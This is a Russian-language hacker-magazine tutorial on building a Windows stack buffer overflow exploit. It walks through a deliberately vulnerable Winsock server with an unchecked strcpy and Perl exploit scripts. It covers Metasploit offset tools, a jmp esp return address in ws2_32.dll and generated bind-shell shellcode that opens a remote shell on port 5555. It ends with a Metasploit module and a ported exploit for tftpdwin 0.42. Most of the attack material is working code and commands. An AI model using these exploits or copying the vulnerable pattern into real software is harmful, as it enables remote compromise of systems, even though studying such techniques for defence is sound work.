| Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим фабрику сплоитов и во всех подробностях посмотрим, как изготавливается качественное изделие. Сплоит – что же это за зверь такой диковинный? По сути, это программа, написанная с целью использования уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP, или даже находиться внутри картинки, но главное, что он влияет на уязвимую систему и заставляет ее работать так, как она не запрограммирована. Удаленный эксплоит работает через сеть и использует уязвимость без какого-либо предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются непосредственно в уязвимой системе, требуя предварительного доступа к ней и обычно используются для повышения привилегий. Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера, SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает много и каждая из них отличается как техникой исполнения, так и своей целью. Но есть в них одно общее – все они содержат код, выполняющий задуманные хакером действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой (payload). Написание такого кода – целое искусство. Если хочешь разобраться в этой области, советую начать со статьи Step'а "Откуда берутся шеллкоды". Мы же рассмотрим процесс написания эксплоита, а шелл-код возьмем уже готовый из пакета Metasploit.
Пишем жертву для экспериментов Убежден, что нет более наглядного способа продемонстрировать создание боевого кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и наваяем небольшое серверное приложение, оставив в нем критическую уязвимость, которую и будет эксплуатировать. Приложение будет принимать подключения на определенном порту: как только придет некоторый пакет, будет вызываться функция, выполняющая некоторые действия с полученными данными, после чего приложение завершается. Скелет приложения приведен ниже: void pr( char *str) { char buf[500]=""; strcpy(buf,str); // вот и сама уязвимость, собственной персоной } int main(int argc, char **argv) { .................... int bytesRecv = SOCKET_ERROR; while( bytesRecv == SOCKET_ERROR ) { //Получаем данные, отправленные клиентом bytesRecv = recv( clientSocket, Message, 5000, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "\nConnection Closed.\n"); break; } } pr(Message); // вызываем функцию, которая не проверяет длину входного буфера при
копировании closesocket(clientSocket); closesocket(serverSocket); WSACleanup(); return 0; } Внимательно взглянув на код, можно увидеть, что функция void pr(char *str) не проверяет длину входного буфера и, если передать ей в качестве параметра строку длиной более 500 символов - получится классическое переполнение буфера. Совсем кратко о том, как это работает (тут придется вспомнить, как работает стек): PUSH EDI // кладем в стек указатель, на буфер, который будем копировать
(*str) CALL Server._pr // вызываем функцию pf После вызова CALL стек будет выглядеть следующим образом: ....
buf - локальная переменная, куда будем копировать входящие данные
ebp - сохраненный указатель кадра стека
ret - адрес возврата
*str - указатель на входящий буфер
.... Под переменную buf у нас выделено 500 байт. А что будет, если скопировать туда строку длиннее? [buf][EBP][ret][*str] [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код. Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от такой критической ошибки, конечно, никуда не деться, и программа в любом случае будет падать, однако использовать переполнение в сплоите может и не получиться. Виной тому стековые куки – специальная защита, включаемая в бинарник компилятором во время сборки приложения. Существует несколько способов обхода такой защиты (подробнее – смотри ниже), но сейчас для простоты примера предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку кукисов во время компиляции в Visual Studio, либо используем компилятор, который вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется, проще – так как можно использовать бесплатный компилятор lccwin32. Компилируем и запускаем.
Убить наповал! Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем небольшой скриптик на Perl'е для эксплуатации переполнения буфера: use strict; use Socket; my $junk = "\x41" x1000; # адрес и порт узявимого демона my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # осуществляем привязки my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # создаем сокет и присоединяемся к порту socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; Скрипт просто соединяется с сервером и посылает ему строку символов "А" длиной 1000 ($junk = "\x41" x1000). Чтобы наглядно посмотреть, что в момент получения такой строки происходит внутри нашего сервера, запускаем его под отладчиком – идеально, под OllyDbg. Выбираем наш бинарник через меню "File -> Open" и отдаем команду на выполнение: "Debug -> Restart -> Run". Далее запускаем простенький сплоит, который, как и следовало ожидать, убивает наш сервер наповал. Смотрим в отладчик - адрес возврата из функции pf (и, как следствие, регистр EIP, указывающий на следующую инструкцию) оказывается перезаписанным значением 41414141 (как ты помнишь, 0х41 - это символ А). Но на момент, когда мы будем глядеть в отладчик, уже произойдет возврат по адресу 41414141, и мы будем видеть только EIP. Для успешной эксплуатации уязвимости нужно построить ядовитую строку так, чтобы она переписывала адрес возврата нужным нам значением - адресом нашего шелл-кода. Поэтому сначала необходимо выяснить, какие именно символы строки затирают адрес возврата. В этом поможет одна из утилит Metasploit Framework. Но перед этим предлагаю тебе быстренько ознакомиться с Фреймворком.
Используем Metasploit для разработки эксплоита Символов в передаваемой строке 1000, все они одинаковые, поэтому неудивительно, что в строке возврата появляется значение, состоящее из буквы A. Но если составить строку, которая будет состоять из неповторяющихся буквенно-числовых строк, то легко определить позицию тех символов, которые попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита, входящая в состав Metasploit, pattern_gererate. В качестве единственного обязательного параметра передается длина строки. Итак, создадим буфер длиной в 1000 символов для дальнейшего использования в нашем сплоите: msf > ruby pattern_create.rb 1000 Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh А в скрипте заменим значение переменной $junk на вышеприведенную последовательность. Заново запускаем наш уязвимый сервер, подключаемся к нему в OllyDbg и запускаем эксплоит. Сервер опять падает. Что ж, давай взглянем, что на этот раз оказалось в регистре EIP? EIP = 41387141. Чтобы определить смещение символов в строке, используем другую утилиту из набора Metasploit - pattern_offset, передавая в параметрах искомую величину и длину буфера: my $totalbuffer = 1000; # длина буфера my $junk = "\x41" x 504; # первые 504 символа "А" my $eipoverwrite = "\x42" x 4; # 4 символа "В", которые перезапишут адрес возврата my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite)); # оставшееся место в буфере заполняем символами "С" И заменяем строчку кода, отправляющую сформированную строку в сокет, на: print SOCKET $junk.$eipoverwrite.$junk2."\n"; Чтобы проверить, запускаем эксплоит и смотрим в отладчик. Ага, так и есть: EIP = 42424242. Увы, тысячи символов слишком мало, чтобы уместить шелл-код, поэтому попробуем увеличить длину ядовитой строки и посмотреть, как будет работать сплоит. Длину выбираем экспериментально: методом проб и ошибок. После увеличения длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, что сплоит по-прежнему работает так же успешно. А это значит, мы имеем 2000-4-504=1492 байта для размещения нашего шелл-кода. Все это прекрасно, но как передать управление шелл-коду – ведь его адреса мы не знаем! Давай посмотрим, что у нас происходит со стеком в момент переполнения. Поставим в отладчике бряк на функцию strcpy: 0040130B: CALL 00404351 И запускаем эксплоит. Бряк сработал, – смотрим, что в стеке (в olly стек показывается в правом нижнем углу и имеет формат "адрес - значение – комментарий; типа return to kernel32.728232"): [buf][ebp][ret][предыдущий стековый фрейм] Нажимаем (перейти на следующую инструкцию) и отмечаем изменения в стеке: [buf][ebp][ret][предыдущий стековый фрейм] [AAAAAAAA][BBB][CCCCCCCC…] Теперь взглянем на конец функции pf: 00401313 POP EDI 00401314 POP ESI 00401315 LEAVE 00401316 RETN При вызове команды LEAVE происходит следующее: MOV ESP, EBP //теперь в ESP содержится адрес [ebp] POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана
символами "А", следовательно, EBP будет равен 41414141), ESP теперь указывает на
адрес возврата. При выполнении команды RETN из стека выталкивается адрес возврата – поэтому получается, что ESP указывает на начало стекового фрейма, то есть на $junk2, где мы и будем размещать наш шелл-код. А как перейти по адресу, лежащему в esp? Хороший вопрос! Переход к ESP – вполне обычное действие для виндовых приложений. Более того, любое такое приложение использует, как минимум, одну системную DLL’ку, в которых есть инструкции на любой вкус. Адреса в таких DLL'ках, как правило, статичны и не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес возврата, то на выходе из функции управление передастся на ESP – прямиком нашему шелл-коду. Есть один момент, который стоит упомянуть! Адрес возврата не должен содержать нулевых байтов, ведь функция strcpy воспримет все как признак конца строки и не скопирует оставшуюся часть буфера, то есть $junk2, куда мы хотели разместить шелл-код. Поэтому мы будем искать инструкцию перехода по esp в динамических библиотеках, используемых приложением, так как адрес такой инструкции в библиотеках будет выше, и не будет занимать все четыре байта – исключая возможность появления нуля в начале. Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в состав пакета тулз MSF eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call, jmp, push + регистр и ret в dll или приложении. Наша программа работает с сокетами, и значит, она будет использовать стандартную виндовую библиотеку ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные инструкции, соответствующие передаче управления на ESP). Запускаем с указанием, во-первых, библиотеки для поиска, и, во-вторых, нужного регистра: Findjmp2.exe ws2_32.dll esp Scanning ws2_32.dll for code useable with the esp register 0x71AB9372 push esp - ret Finished Scanning ws2_32.dll for code useable with the esp register Found 1 usable addresses Найден один подходящий нам адрес - 0x71AB9372. Кстати, если вдруг нужного опкода в другой ситуации не найдется – не беда, можно поискать в kernel32.dll, которая используется всеми приложениями. Аналогичный поиск по этой библиотеке дает еще два подходящих адреса. В действительности, это не самый удачный вариант и искать опкоды в системных библиотеках стоит в самом последнем случае. Дело в том, что библиотеки различаются от системе к системе и даже от версии сервиспака, установленного в винде. Адрес 0x71AB9372 действителен только для английской Windows XP SP2 – для другой системы он будет другой! Именно поэтому подходящие опкоды стоит искать в DLL'ках, которые устанавливает в систему сама программа – только в этом случае есть шанс написать независящий от версии Windows сплоит. В нашем случае, увы, такой вариант невозможен в виду простоты примера, но свои динамические библиотеки для реального виндового приложения – это в большинстве случаев норма. Осталось только создать шелл-код. Как я уже говорил, к сплоиту предъявляется одно важное требование - он не должен содержать нулевых байтов. В программе копируется строка, и если встретится "0", он будет воспринят как конец строки. Соответственно, оставшаяся часть строки не скопируется, а неполный шелл-код, естественно, не будет работать. В создании шелл-кода нам опять поможет Metasploit и консольный интерфейс для управления фреймворком. Итак, запускаем консоль tools/msfconsole и вводим следующее: msf > use windows/shell_bind_tcp // будем использовать этот payload msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на
удаленной машине LPORT => 5555 С помощью команды "generate -h" посмотрим опции, которые можно указать для генерации шелл-кода:
-b - список символов, которые следует исключить из шелл-кода;
-f - имя файла, куда сохраняется шелл-код;
-t - тип шелл-кода: ruby, perl, c или raw. Указываем, что надо избегать байтов '\x00\xff', генерировать код для Perl'a и сохранить полученные результаты в c:\\shellcode.bin: msf payload(shell_bind_tcp) > generate -b '\x00\xff' -f c:\\shellcode.bin
-t perl Writing 1747 bytes to c:\shellcode.bin... Вот теперь, имея на руках шелл-код, настало время собрать полноценный эксплоит. Единственное – нужно помнить несколько моментов:
в шелл-коде не должны встречаться 0xff и 0x00 байты, но мы об этом уже позаботились;
непосредственно перед шелл-кодом нужно поместить цепочки из NOP (машинная команда - нет операции) – на случай, если мы чуть-чуть накосячили с адресом возврата. Отправляемая серверу строка будем формироваться следующим образом: my $junk = "\x90" x 504; // первые 504 NOP’a #jmp esp (from ws2_32.dll) my $eipoverwrite = pack('V',0x71AB9372); // перезаписываем адрес возврата
значением 0x71AB9372 #add some NOP's my $shellcode="\x90" x 50; // добавляем 50 nop-ов перед шелл-кодом // прибавляем сгенерированный нами шелл-код (windows/shell_bind_tcp) $shellcode=$shellcode."\xbb\x2e\ [и тут тоже кушал редактор ] xd3"; Окончательно строка, отправляемая в сокет: // и отправляем ядовитую строку серверу print SOCKET $junk.$eipoverwrite.$shellcode."\n"; После чего пытаемся в сплоите установить соединение с удаленной машиной на 5555 порту, который мы указали при генерации шелл-кода: system("telnet $host 5555"); Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется - меняется только наш адрес возврата.
Эксплоит для Metasploit Итак, у нас есть сплоит для конкретной платформы с вполне определенной нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо специальная платформа для создания сплоита, если мы вполне обошлись силами одного лишь Perl'а? Причина в том, что Metasploit предоставляет огромное количество заготовок, реализаций различных протоколов, одну из самых больших баз шелл-кодов, payload-ов, которые можно использовать при написании собственного эксплоита. Вместо убогого скрипта на Perl'е можно написать модуль для Metasploit, после чего запускать его на любой платформе и выбирать payload на свой вкус! Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав его для Metasploit, и посмотреть, как это работает. Само собой, он будет обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь прямо во время исполнения атаки. Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит из объявления заголовочных файлов, подключения ядра msf/core, определения класса эксплоита, в котором описывается его функциональность. Я не буду приводить здесь полный исходник модуля, но выкладываю его на диске. Рекомендую для большей ясности открыть его прямо сейчас и далее читать мое практически построчное объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit Framework: require 'msf/core' Функциональность любого сплоита описывается с помощью класса, где его настройки задаются с помощью параметров, а функциональность – с помощью методов. Создаваемый объект наследуется от одного из предопределенных классов. Поскольку мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса "Удаленный эксплоит". В синтаксисе Ruby это делается так: class Metasploit3 < Msf::Exploit::Remote. Большая заслуга Metasploit в том, что он унифицирует большое количество параметров и действий, позволяя использовать готовые конструкции вновь и вновь. Первый элемент разрабатываемого класса – секция include, где мы подключаем обработчик для нужного нам протокола. В Metasploit есть обработчики для http, ftp и других протоколов, что позволяет быстрее писать эксплоиты, не заморачиваясь с их собственной реализацией. Наш эксплоит использует TCP-подключение, поэтому код будет выглядеть следующим образом: include Msf::Exploit::Remote::Tcp Далее весь сплоит делится на два метода: метод инициализации, в котором мы указываем информацию, необходимую для успешного выполнения эксплоита, и метод эксплуатации, в котором мы отправляем на сервер ядовитую строку. Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и недопустимые символы (в нашем случае – 0х00 и 0xff): 'Payload' => { 'Space' => 1400, 'BadChars' => "\x00\xff", } Далее определяем цели эксплоита и специфичные для каждой цели параметры, такие как адрес возврата, смещение и т.д.: 'Platform' => 'win', 'Targets' => [ ['Windows XP SP2 En', { 'Ret' => 0x0x71ab9372, 'Offset' => 504 } ], ['Windows 2003 Server R2 SP2', { 'Ret' => 0x71c02b67, 'Offset' => 504 } ], ... ] Обрати внимание, мы не определяем сам шелл-код – то есть, нагрузку, которую выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во время работы в консоли Metasploit'ом. Сейчас нам остается только написать самое главное - метод для эксплуатации уязвимости. С помощью команды connect устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже указали порт, помнишь?), далее – определяем ядовитую строку и передаем ее в сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки NOP-команд, величины Offset - затем к ней прибавляется адрес возврата, еще небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так: def exploit connect junk = make_nops(target['Offset']) sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded sock.put(sploit) handler disconnect end Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было использовать, скопируем исходник в папку modules/exploits/test (если не нравится test – можешь скопировать в windows/misc, например). Запускаем msfconsole и работаем в интерактивной консоли Metasploit'а!
Эксплоит за 5 минут Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела, поэтому в стремлении еще больше упростить процесс был разработан пакет утилит тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз, необходимых для отладки и тестирования эксплоитов. Более того – можно опять же создавать с нуля, а портировать уже существующие сплоиты. Предлагаю взять какой-нибудь эксплоит и с помощью MSF eXploit Builder превратить его в Metasploit-модуль. Ты спросишь, зачем это нам надо? Опять же: превратив его в Metasploit-модуль, мы можем использовать его вместе с различными payload-ами. Проще говоря, это сделает его более универсальным и кроссплатформенным. Сейчас ты сам убедишься, насколько эта программа может упростить жизнь - ведь теперь для написания и отладки эксплоита не нужно даже знание Ruby и Metasploit API. В качестве кролика для эксперимента я выбрал первое, что попалось, - сплоит для tftpdwin 0.42 (milw0rm.com/exploits/7452). Запускаем MSF eXploit Builder, заходим в меню "Editor" и выбираем "New". Появляется окно с несколькими вкладками (Information, Badchars, Analysis, Shellcode, Design). Переходим на вкладку "Information" и видим много интересных полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол эксплоита (например, remote/tcp). Более того, программа предоставляет нам возможность тестирования и отладки полученного эксплоита, поэтому тут же можно выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес). Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия на выбор: запустить приложение, запустить его под отладчиком или не запускать вообще – просто запустим приложение. Обрати внимание, что справа сбоку отобразится список загруженных приложением DDL'ек. Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный. Комментарий "Restricted chars = 0x00 0x6e 0x65 0x74" явно указывает на запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду мы видим, как формируется ядовитый пакет: my $packet = (($p1).($nopsled).($shellcode).(($overflow)).($ret).($p2)); Разбираемся с каждой составляющей и заодно составляем буфер для отправки во вкладке "Design". Сначала идет переменная $p1 (my $p1="\x00\x01";). Вводим их в поле Value (Operation по умолчанию оставляем RAW). За ней идет переменная $nopsled (my $nopsled = "\x90" x 10;) - выбираем Operation = NOP и устанавливаем длину в 10. Далее располагается $shellcode - устанавливаем Operation = PAYLOAD и Length = 0. Следующая часть - $overflow (my $overflow = “\x41” x $len; строка из символов "А" длиной в $len). Переменная my $len = (274 - length($shellcode)), то есть строка длиной 274 символа минус длина шелл-кода. Выставляем Operation = RAW, Length = 274 и выбираем (нажимаем поочередно) вверху кнопки RAW could be: rand_text_alpha, -payload.encoded.length, что означает: длина строки будет высчитываться по вышеприведенной формуле. Потом добавляем адрес возврата $ret (my $ret = “\x5d\x10\x40”) и выбираем Operation = RET. Наконец, добавляем $p2, равное "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00" и выбираем Operation = RAW. Ядовитый пакет готов. Собственно, теперь у нас есть все для создания готового сплоита. Поэтому нажимаем на кнопку "Generate" и любуемся кодом получившегося сплоита. Если какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную. Классно, что возможно сразу проверить работоспособность кода – для этого смело жмем кнопку "Test". И ведь – все работает! За 5 минут, которые ушли на ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для нашего сервера :).
Заключение Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем эксплоите или, вообще, запуская непонятный exe'шник, далеко не всегда можно доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими частями и специально оставленными ошибками – это непременно остановит армию скрипткидис, но для понимающего человека едва ли станет серьезной задачей. Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь хакеры люди – логичные и понятные :).
Источник
|
